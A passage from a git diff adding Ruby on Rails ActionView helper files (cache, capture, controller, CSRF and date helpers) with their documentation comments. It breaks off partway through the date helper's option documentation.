@@ -0,0 +1,263 @@
+# frozen_string_literal: true
+
+module ActionView
+  # = Action View Cache Helper
+  module Helpers
+    module CacheHelper
+      # This helper exposes a method for caching fragments of a view
+      # rather than an entire action or page. This technique is useful
+      # caching pieces like menus, lists of new topics, static HTML
+      # fragments, and so on. This method takes a block that contains
+      # the content you wish to cache.
+      #
+      # The best way to use this is by doing recyclable key-based cache expiration
+      # on top of a cache store like Memcached or Redis that'll automatically
+      # kick out old entries.
+      #
+      # When using this method, you list the cache dependency as the name of the cache, like so:
+      #
+      #   <% cache project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # This approach will assume that when a new topic is added, you'll touch
+      # the project. The cache key generated from this call will be something like:
+      #
+      #   views/template/action.html.erb:7a1156131a6928cb0026877f8b749ac9/projects/123
+      #         ^template path           ^template tree digest            ^class   ^id
+      #
+      # This cache key is stable, but it's combined with a cache version derived from the project
+      # record. When the project updated_at is touched, the #cache_version changes, even
+      # if the key stays stable. This means that unlike a traditional key-based cache expiration
+      # approach, you won't be generating cache trash, unused keys, simply because the dependent
+      # record is updated.
+      #
+      # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+      # you can name all these dependencies as part of an array:
+      #
+      #   <% cache [ project, current_user ] do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # This will include both records as part of the cache key and updating either of them will
+      # expire the cache.
+      #
+      # ==== \Template digest
+      #
+      # The template digest that's added to the cache key is computed by taking an MD5 of the
+      # contents of the entire template file. This ensures that your caches will automatically
+      # expire when you change the template file.
+      #
+      # Note that the MD5 is taken of the entire template file, not just what's within the
+      # cache do/end call. So it's possible that changing something outside of that call will
+      # still expire the cache.
+      #
+      # Additionally, the digestor will automatically look through your template file for
+      # explicit and implicit dependencies, and include those as part of the digest.
+      #
+      # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
+      #
+      #   <% cache project, skip_digest: true do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # ==== Implicit dependencies
+      #
+      # Most template dependencies can be derived from calls to render in the template itself.
+      # Here are some examples of render calls that Cache Digests knows how to decode:
+      #
+      #   render partial: "comments/comment", collection: commentable.comments
+      #   render "comments/comments"
+      #   render 'comments/comments'
+      #   render('comments/comments')
+      #
+      #   render "header" translates to render("comments/header")
+      #
+      #   render(@topic)         translates to render("topics/topic")
+      #   render(topics)         translates to render("topics/topic")
+      #   render(message.topics) translates to render("topics/topic")
+      #
+      # It's not possible to derive all render calls like that, though.
+      # Here are a few examples of things that can't be derived:
+      #
+      #   render group_of_attachments
+      #   render @project.documents.where(published: true).order('created_at')
+      #
+      # You will have to rewrite those to the explicit form:
+      #
+      #   render partial: 'attachments/attachment', collection: group_of_attachments
+      #   render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+      #
+      # === Explicit dependencies
+      #
+      # Sometimes you'll have template dependencies that can't be derived at all. This is typically
+      # the case when you have template rendering that happens in helpers. Here's an example:
+      #
+      #   <%= render_sortable_todolists @project.todolists %>
+      #
+      # You'll need to use a special comment format to call those out:
+      #
+      #   <%# Template Dependency: todolists/todolist %>
+      #   <%= render_sortable_todolists @project.todolists %>
+      #
+      # In some cases, like a single table inheritance setup, you might have
+      # a bunch of explicit dependencies. Instead of writing every template out,
+      # you can use a wildcard to match any template in a directory:
+      #
+      #   <%# Template Dependency: events/* %>
+      #   <%= render_categorizable_events @person.events %>
+      #
+      # This marks every template in the directory as a dependency. To find those
+      # templates, the wildcard path must be absolutely defined from app/views or paths
+      # otherwise added with +prepend_view_path+ or +append_view_path+.
+      # This way the wildcard for `app/views/recordings/events` would be `recordings/events/*` etc.
+      #
+      # The pattern used to match explicit dependencies is <tt>/# Template Dependency: (\S+)/</tt>,
+      # so it's important that you type it out just so.
+      # You can only declare one template dependency per line.
+      #
+      # === External dependencies
+      #
+      # If you use a helper method, for example, inside a cached block and
+      # you then update that helper, you'll have to bump the cache as well.
+      # It doesn't really matter how you do it, but the MD5 of the template file
+      # must change. One recommendation is to simply be explicit in a comment, like:
+      #
+      #   <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+      #   <%= some_helper_method(person) %>
+      #
+      # Now all you have to do is change that timestamp when the helper method changes.
+      #
+      # === Collection Caching
+      #
+      # When rendering a collection of objects that each use the same partial, a `cached`
+      # option can be passed.
+      #
+      # For collections rendered such:
+      #
+      #   <%= render partial: 'projects/project', collection: @projects, cached: true %>
+      #
+      # The `cached: true` will make Action View's rendering read several templates
+      # from cache at once instead of one call per template.
+      #
+      # Templates in the collection not already cached are written to cache.
+      #
+      # Works great alongside individual template fragment caching.
+      # For instance if the template the collection renders is cached like:
+      #
+      #   # projects/_project.html.erb
+      #   <% cache project do %>
+      #     <%# ... %>
+      #   <% end %>
+      #
+      # Any collection renders will find those cached templates when attempting
+      # to read multiple templates at once.
+      #
+      # If your collection cache depends on multiple sources (try to avoid this to keep things simple),
+      # you can name all these dependencies as part of a block that returns an array:
+      #
+      #   <%= render partial: 'projects/project', collection: @projects, cached: -> project { [ project, current_user ] } %>
+      #
+      # This will include both records as part of the cache key and updating either of them will
+      # expire the cache.
+      def cache(name = {}, options = {}, &block)
+        if controller.respond_to?(:perform_caching) && controller.perform_caching
+          name_options = options.slice(:skip_digest, :virtual_path)
+          safe_concat(fragment_for(cache_fragment_name(name, name_options), options, &block))
+        else
+          yield
+        end
+
+        nil
+      end
+
+      # Cache fragments of a view if +condition+ is true
+      #
+      #   <% cache_if admin?, project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      def cache_if(condition, name = {}, options = {}, &block)
+        if condition
+          cache(name, options, &block)
+        else
+          yield
+        end
+
+        nil
+      end
+
+      # Cache fragments of a view unless +condition+ is true
+      #
+      #   <% cache_unless admin?, project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      def cache_unless(condition, name = {}, options = {}, &block)
+        cache_if !condition, name, options, &block
+      end
+
+      # This helper returns the name of a cache key for a given fragment cache
+      # call. By supplying +skip_digest:+ true to cache, the digestion of cache
+      # fragments can be manually bypassed. This is useful when cache fragments
+      # cannot be manually expired unless you know the exact key which is the
+      # case when using memcached.
+      #
+      # The digest will be generated using +virtual_path:+ if it is provided.
+      #
+      def cache_fragment_name(name = {}, skip_digest: nil, virtual_path: nil)
+        if skip_digest
+          name
+        else
+          fragment_name_with_digest(name, virtual_path)
+        end
+      end
+
+    private
+
+      def fragment_name_with_digest(name, virtual_path)
+        virtual_path ||= @virtual_path
+
+        if virtual_path
+          name = controller.url_for(name).split("://").last if name.is_a?(Hash)
+
+          if digest = Digestor.digest(name: virtual_path, finder: lookup_context, dependencies: view_cache_dependencies).presence
+            [ "#{virtual_path}:#{digest}", name ]
+          else
+            [ virtual_path, name ]
+          end
+        else
+          name
+        end
+      end
+
+      def fragment_for(name = {}, options = nil, &block)
+        if content = read_fragment_for(name, options)
+          @view_renderer.cache_hits[@virtual_path] = :hit if defined?(@view_renderer)
+          content
+        else
+          @view_renderer.cache_hits[@virtual_path] = :miss if defined?(@view_renderer)
+          write_fragment_for(name, options, &block)
+        end
+      end
+
+      def read_fragment_for(name, options)
+        controller.read_fragment(name, options)
+      end
+
+      def write_fragment_for(name, options)
+        pos = output_buffer.length
+        yield
+        output_safe = output_buffer.html_safe?
+        fragment = output_buffer.slice!(pos..-1)
+        if output_safe
+          self.output_buffer = output_buffer.class.new(output_buffer)
+        end
+        controller.write_fragment(name, fragment, options)
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb
new file mode 100644
index 0000000000..690ce6a0ee
--- /dev/null
+++ b/actionview/lib/action_view/helpers/capture_helper.rb
@@ -0,0 +1,212 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+
+module ActionView
+  # = Action View Capture Helper
+  module Helpers
+    # CaptureHelper exposes methods to let you extract generated markup which
+    # can be used in other parts of a template or layout file.
+    #
+    # It provides a method to capture blocks into variables through capture and
+    # a way to capture a block of markup for use in a layout through content_for.
+    module CaptureHelper
+      # The capture method extracts part of a template as a String object.
+      # You can then use this object anywhere in your templates, layout, or helpers.
+      #
+      # The capture method can be used in ERB templates...
+      #
+      #   <% @greeting = capture do %>
+      #     Welcome to my shiny new web page!  The date and time is
+      #     <%= Time.now %>
+      #   <% end %>
+      #
+      # ...and Builder (RXML) templates.
+      #
+      #   @timestamp = capture do
+      #     "The current timestamp is #{Time.now}."
+      #   end
+      #
+      # You can then use that variable anywhere else. For example:
+      #
+      #   <html>
+      #   <head><title><%= @greeting %></title></head>
+      #   <body>
+      #   <b><%= @greeting %></b>
+      #   </body>
+      #   </html>
+      #
+      def capture(*args)
+        value = nil
+        buffer = with_output_buffer { value = yield(*args) }
+        if (string = buffer.presence || value) && string.is_a?(String)
+          ERB::Util.html_escape string
+        end
+      end
+
+      # Calling content_for stores a block of markup in an identifier for later use.
+      # In order to access this stored content in other templates, helper modules
+      # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
+      #
+      # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
+      # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
+      #
+      #   <% content_for :not_authorized do %>
+      #     alert('You are not authorized to do that!')
+      #   <% end %>
+      #
+      # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
+      #
+      #   <%= content_for :not_authorized if current_user.nil? %>
+      #
+      # This is equivalent to:
+      #
+      #   <%= yield :not_authorized if current_user.nil? %>
+      #
+      # <tt>content_for</tt>, however, can also be used in helper modules.
+      #
+      #   module StorageHelper
+      #     def stored_content
+      #       content_for(:storage) || "Your storage is empty"
+      #     end
+      #   end
+      #
+      # This helper works just like normal helpers.
+      #
+      #   <%= stored_content %>
+      #
+      # You can also use the <tt>yield</tt> syntax alongside an existing call to
+      # <tt>yield</tt> in a layout. For example:
+      #
+      #   <%# This is the layout %>
+      #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+      #   <head>
+      #     <title>My Website</title>
+      #     <%= yield :script %>
+      #   </head>
+      #   <body>
+      #     <%= yield %>
+      #   </body>
+      #   </html>
+      #
+      # And now, we'll create a view that has a <tt>content_for</tt> call that
+      # creates the <tt>script</tt> identifier.
+      #
+      #   <%# This is our view %>
+      #   Please login!
+      #
+      #   <% content_for :script do %>
+      #     <script>alert('You are not authorized to view this page!')</script>
+      #   <% end %>
+      #
+      # Then, in another view, you could to do something like this:
+      #
+      #   <%= link_to 'Logout', action: 'logout', remote: true %>
+      #
+      #   <% content_for :script do %>
+      #     <%= javascript_include_tag :defaults %>
+      #   <% end %>
+      #
+      # That will place +script+ tags for your default set of JavaScript files on the page;
+      # this technique is useful if you'll only be using these scripts in a few views.
+      #
+      # Note that content_for concatenates (default) the blocks it is given for a particular
+      # identifier in order. For example:
+      #
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Home', action: 'index' %></li>
+      #   <% end %>
+      #
+      #  And in another place:
+      #
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Login', action: 'login' %></li>
+      #   <% end %>
+      #
+      # Then, in another template or layout, this code would render both links in order:
+      #
+      #   <ul><%= content_for :navigation %></ul>
+      #
+      # If the flush parameter is true content_for replaces the blocks it is given. For example:
+      #
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Home', action: 'index' %></li>
+      #   <% end %>
+      #
+      #   <%#  Add some other content, or use a different template: %>
+      #
+      #   <% content_for :navigation, flush: true do %>
+      #     <li><%= link_to 'Login', action: 'login' %></li>
+      #   <% end %>
+      #
+      # Then, in another template or layout, this code would render only the last link:
+      #
+      #   <ul><%= content_for :navigation %></ul>
+      #
+      # Lastly, simple content can be passed as a parameter:
+      #
+      #   <% content_for :script, javascript_include_tag(:defaults) %>
+      #
+      # WARNING: content_for is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
+      def content_for(name, content = nil, options = {}, &block)
+        if content || block_given?
+          if block_given?
+            options = content if content
+            content = capture(&block)
+          end
+          if content
+            options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
+          end
+          nil
+        else
+          @view_flow.get(name).presence
+        end
+      end
+
+      # The same as +content_for+ but when used with streaming flushes
+      # straight back to the layout. In other words, if you want to
+      # concatenate several times to the same buffer when rendering a given
+      # template, you should use +content_for+, if not, use +provide+ to tell
+      # the layout to stop looking for more contents.
+      def provide(name, content = nil, &block)
+        content = capture(&block) if block_given?
+        result = @view_flow.append!(name, content) if content
+        result unless content
+      end
+
+      # content_for? checks whether any content has been captured yet using `content_for`.
+      # Useful to render parts of your layout differently based on what is in your views.
+      #
+      #   <%# This is the layout %>
+      #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+      #   <head>
+      #     <title>My Website</title>
+      #     <%= yield :script %>
+      #   </head>
+      #   <body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
+      #     <%= yield %>
+      #     <%= yield :right_col %>
+      #   </body>
+      #   </html>
+      def content_for?(name)
+        @view_flow.get(name).present?
+      end
+
+      # Use an alternate output buffer for the duration of the block.
+      # Defaults to a new empty string.
+      def with_output_buffer(buf = nil) #:nodoc:
+        unless buf
+          buf = ActionView::OutputBuffer.new
+          if output_buffer && output_buffer.respond_to?(:encoding)
+            buf.force_encoding(output_buffer.encoding)
+          end
+        end
+        self.output_buffer, old_buffer = buf, output_buffer
+        yield
+        output_buffer
+      ensure
+        self.output_buffer = old_buffer
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/controller_helper.rb b/actionview/lib/action_view/helpers/controller_helper.rb
new file mode 100644
index 0000000000..00d8b9665d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/controller_helper.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attr_internal"
+
+module ActionView
+  module Helpers
+    # This module keeps all methods and behavior in ActionView
+    # that simply delegates to the controller.
+    module ControllerHelper #:nodoc:
+      attr_internal :controller, :request
+
+      CONTROLLER_DELEGATES = [:request_forgery_protection_token, :params,
+        :session, :cookies, :response, :headers, :flash, :action_name,
+        :controller_name, :controller_path]
+
+      delegate(*CONTROLLER_DELEGATES, to: :controller)
+
+      def assign_controller(controller)
+        if @_controller = controller
+          @_request = controller.request if controller.respond_to?(:request)
+          @_config  = controller.config.inheritable_copy if controller.respond_to?(:config)
+          @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
+        end
+      end
+
+      def logger
+        controller.logger if controller.respond_to?(:logger)
+      end
+
+      def respond_to?(method_name, include_private = false)
+        return controller.respond_to?(method_name) if CONTROLLER_DELEGATES.include?(method_name.to_sym)
+        super
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
new file mode 100644
index 0000000000..d1b83f87d3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module ActionView
+  # = Action View CSRF Helper
+  module Helpers
+    module CsrfHelper
+      # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+      # request forgery protection parameter and token, respectively.
+      #
+      #   <head>
+      #     <%= csrf_meta_tags %>
+      #   </head>
+      #
+      # These are used to generate the dynamic forms that implement non-remote links with
+      # <tt>:method</tt>.
+      #
+      # You don't need to use these tags for regular forms as they generate their own hidden fields.
+      #
+      # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
+      # "X-CSRF-Token" HTTP header. If you are using rails-ujs this happens automatically.
+      #
+      def csrf_meta_tags
+        if protect_against_forgery?
+          [
+            tag("meta", name: "csrf-param", content: request_forgery_protection_token),
+            tag("meta", name: "csrf-token", content: form_authenticity_token)
+          ].join("\n").html_safe
+        end
+      end
+
+      # For backwards compatibility.
+      alias csrf_meta_tag csrf_meta_tags
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
new file mode 100644
index 0000000000..339d582f76
--- /dev/null
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -0,0 +1,1156 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "tag_helper"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/date/conversions"
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/object/acts_like"
+require "active_support/core_ext/object/with_options"
+
+module ActionView
+  module Helpers
+    # = Action View Date Helpers
+    #
+    # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
+    # elements. All of the select-type methods share a number of common options that are as follows:
+    #
+    # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+    #   would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
+    # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+    # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+    #   the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
+    #   of \date[month].
+    module DateHelper
+      MINUTES_IN_YEAR = 525600
+      MINUTES_IN_QUARTER_YEAR = 131400
+      MINUTES_IN_THREE_QUARTERS_YEAR = 394200
+
+      # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+      # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
+      # Distances are reported based on the following table:
+      #
+      #   0 <-> 29 secs                                                             # => less than a minute
+      #   30 secs <-> 1 min, 29 secs                                                # => 1 minute
+      #   1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
+      #   44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
+      #   89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
+      #   23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs                     # => 1 day
+      #   41 hrs, 59 mins, 30 secs  <-> 29 days, 23 hrs, 59 mins, 29 secs           # => [2..29] days
+      #   29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+      #   44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 2 months
+      #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
+      #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
+      #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
+      #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
+      #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
+      #
+      # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
+      #   0-4   secs      # => less than 5 seconds
+      #   5-9   secs      # => less than 10 seconds
+      #   10-19 secs      # => less than 20 seconds
+      #   20-39 secs      # => half a minute
+      #   40-59 secs      # => less than a minute
+      #   60-89 secs      # => 1 minute
+      #
+      #   from_time = Time.now
+      #   distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
+      #   distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)         # => less than 20 seconds
+      #   distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
+      #   distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
+      #   distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)         # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)         # => less than a minute
+      #   distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
+      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
+      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
+      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
+      #
+      #   to_time = Time.now + 6.years + 19.days
+      #   distance_of_time_in_words(from_time, to_time, include_seconds: true)                        # => about 6 years
+      #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                        # => about 6 years
+      #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
+      #
+      # With the <tt>scope</tt> option, you can define a custom scope for Rails
+      # to look up the translation.
+      #
+      # For example you can define the following in your locale (e.g. en.yml).
+      #
+      #   datetime:
+      #     distance_in_words:
+      #       short:
+      #         about_x_hours:
+      #           one: 'an hour'
+      #           other: '%{count} hours'
+      #
+      # See https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml
+      # for more examples.
+      #
+      # Which will then result in the following:
+      #
+      #   from_time = Time.now
+      #   distance_of_time_in_words(from_time, from_time + 50.minutes, scope: 'datetime.distance_in_words.short') # => "an hour"
+      #   distance_of_time_in_words(from_time, from_time + 3.hours, scope: 'datetime.distance_in_words.short')    # => "3 hours"
+      def distance_of_time_in_words(from_time, to_time = 0, options = {})
+        options = {
+          scope: :'datetime.distance_in_words'
+        }.merge!(options)
+
+        from_time = normalize_distance_of_time_argument_to_time(from_time)
+        to_time = normalize_distance_of_time_argument_to_time(to_time)
+        from_time, to_time = to_time, from_time if from_time > to_time
+        distance_in_minutes = ((to_time - from_time) / 60.0).round
+        distance_in_seconds = (to_time - from_time).round
+
+        I18n.with_options locale: options[:locale], scope: options[:scope] do |locale|
+          case distance_in_minutes
+          when 0..1
+            return distance_in_minutes == 0 ?
+                   locale.t(:less_than_x_minutes, count: 1) :
+                   locale.t(:x_minutes, count: distance_in_minutes) unless options[:include_seconds]
+
+            case distance_in_seconds
+            when 0..4   then locale.t :less_than_x_seconds, count: 5
+            when 5..9   then locale.t :less_than_x_seconds, count: 10
+            when 10..19 then locale.t :less_than_x_seconds, count: 20
+            when 20..39 then locale.t :half_a_minute
+            when 40..59 then locale.t :less_than_x_minutes, count: 1
+              else             locale.t :x_minutes,           count: 1
+            end
+
+          when 2...45           then locale.t :x_minutes,      count: distance_in_minutes
+          when 45...90          then locale.t :about_x_hours,  count: 1
+            # 90 mins up to 24 hours
+          when 90...1440        then locale.t :about_x_hours,  count: (distance_in_minutes.to_f / 60.0).round
+            # 24 hours up to 42 hours
+          when 1440...2520      then locale.t :x_days,         count: 1
+            # 42 hours up to 30 days
+          when 2520...43200     then locale.t :x_days,         count: (distance_in_minutes.to_f / 1440.0).round
+            # 30 days up to 60 days
+          when 43200...86400    then locale.t :about_x_months, count: (distance_in_minutes.to_f / 43200.0).round
+            # 60 days up to 365 days
+          when 86400...525600   then locale.t :x_months,       count: (distance_in_minutes.to_f / 43200.0).round
+            else
+            from_year = from_time.year
+            from_year += 1 if from_time.month >= 3
+            to_year = to_time.year
+            to_year -= 1 if to_time.month < 3
+            leap_years = (from_year > to_year) ? 0 : (from_year..to_year).count { |x| Date.leap?(x) }
+            minute_offset_for_leap_year = leap_years * 1440
+            # Discount the leap year days when calculating year distance.
+            # e.g. if there are 20 leap year days between 2 dates having the same day
+            # and month then the based on 365 days calculation
+            # the distance in years will come out to over 80 years when in written
+            # English it would read better as about 80 years.
+            minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+            remainder                   = (minutes_with_offset % MINUTES_IN_YEAR)
+            distance_in_years           = (minutes_with_offset.div MINUTES_IN_YEAR)
+            if remainder < MINUTES_IN_QUARTER_YEAR
+              locale.t(:about_x_years,  count: distance_in_years)
+            elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
+              locale.t(:over_x_years,   count: distance_in_years)
+            else
+              locale.t(:almost_x_years, count: distance_in_years + 1)
+            end
+          end
+        end
+      end
+
+      # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+      #
+      #   time_ago_in_words(3.minutes.from_now)                 # => 3 minutes
+      #   time_ago_in_words(3.minutes.ago)                      # => 3 minutes
+      #   time_ago_in_words(Time.now - 15.hours)                # => about 15 hours
+      #   time_ago_in_words(Time.now)                           # => less than a minute
+      #   time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
+      #
+      #   from_time = Time.now - 3.days - 14.minutes - 25.seconds
+      #   time_ago_in_words(from_time)      # => 3 days
+      #
+      #   from_time = (3.days + 14.minutes + 25.seconds).ago
+      #   time_ago_in_words(from_time)      # => 3 days
+      #
+      # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
+      #
+      def time_ago_in_words(from_time, options = {})
+        distance_of_time_in_words(from_time, Time.now, options)
+      end
+
+      alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
+
+      # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
+      # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
+      #
+      # ==== Options
+      # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+      #   "2" instead of "February").
+      # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
+      #   "02" instead of "February" and "08" instead of "8").
+      # * <tt>:use_short_month</tt>   - Set to true if you want to use abbreviated month names instead of full
+      #   month names (e.g. "Feb" instead of "February").
+      # * <tt>:add_month_numbers</tt>  - Set to true if you want to use both month numbers and month names (e.g.
+      #   "2 - February" instead of "February").
+      # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
+      #   Note: You can also use Rails' i18n functionality for this.
+      # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
+      #   and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
+      #   See <tt>Kernel.sprintf</tt> for documentation on format sequences.
+      # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+      # * <tt>:time_separator</tt>    - Specifies a string to separate the time fields. Default is "" (i.e. nothing).
+      # * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is "" (i.e. nothing).
+      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if
+      #   you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+      #   the current selected year minus 5.
+      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+      #   you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+      #   the current selected year plus 5.
+      # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+      #   first of the given month in order to not create invalid dates like 31 February.
+      # * <tt>:discard_month</tt>     - Set to true if you don't want to show a month select. This includes the month
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+      # * <tt>:discard_year</tt>      - Set to true if you don't want to show a year select. This includes the year
+      #   as a hidden field instead of showing a select field.
+      # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
+      #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+      #   select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
+      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+      # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
+      #   dates.
+      # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is +nil+.
+      # * <tt>:selected</tt>          - Set a date that overrides the actual value.
+      # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
+      # * <tt>:prompt</tt>            - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+      #   for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+      #   Setting this option prepends a select option with a generic prompt  (Day, Month, Year, Hour, Minute, Seconds)
+      #   or the given prompt string.
+      # * <tt>:with_css_classes</tt>  - Set to true or a hash of strings. Use true if you want to assign generic styles for
+      #   select tags. This automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second'. A hash of
+      #   strings for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt>, <tt>:second</tt>
+      #   will extend the select type with the given value. Use +html_options+ to modify every select tag in the set.
+      # * <tt>:use_hidden</tt>         - Set to true if you only want to generate hidden input tags.
+      #
+      # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
+      #
+      # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
+      #   date_select("article", "written_on")
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995.
+      #   date_select("article", "written_on", start_year: 1995)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+      #   # and without a day select box.
+      #   date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
+      #                                     discard_day: true, include_blank: true)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with two digit numbers used for months and days.
+      #   date_select("article", "written_on", use_two_digit_numbers: true)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # with the fields ordered as day, month, year rather than month, day, year.
+      #   date_select("article", "written_on", order: [:day, :month, :year])
+      #
+      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
